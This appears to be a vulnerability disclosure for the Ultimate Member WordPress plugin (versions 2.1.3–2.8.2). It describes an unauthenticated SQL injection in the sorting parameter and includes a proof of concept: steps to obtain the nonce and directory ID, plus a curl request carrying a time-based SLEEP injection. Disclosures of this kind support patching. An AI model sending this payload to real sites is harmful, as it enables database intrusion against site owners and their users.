Ultimate Member 2.1.3 - 2.8.2 - Unauthenticated SQL Injection

Description The plugin does not sanitize and escape the sorting parameter before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks when the “Enable custom table for usermeta” option is enabled.

PoC

Requirement: “Enable custom table for usermeta” option to be enabled (Ultimate Member > Settings > Misc) As unauthenticated, retrieve the nonce from the source of the homepage by searching for var um_scripts. Then run the below cURL command and note the 5s delay from the response: curl -X POST --data ‘action=um_get_members&nonce;=&directory;_id=b9238&sorting;=ID%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)’ https://example.com/wp-admin/admin-ajax.php PS: The directory_id calculated via “SUBSTRING( MD5( POST_ID ), 11, 5)” and in the example above, this is for POST_ID=1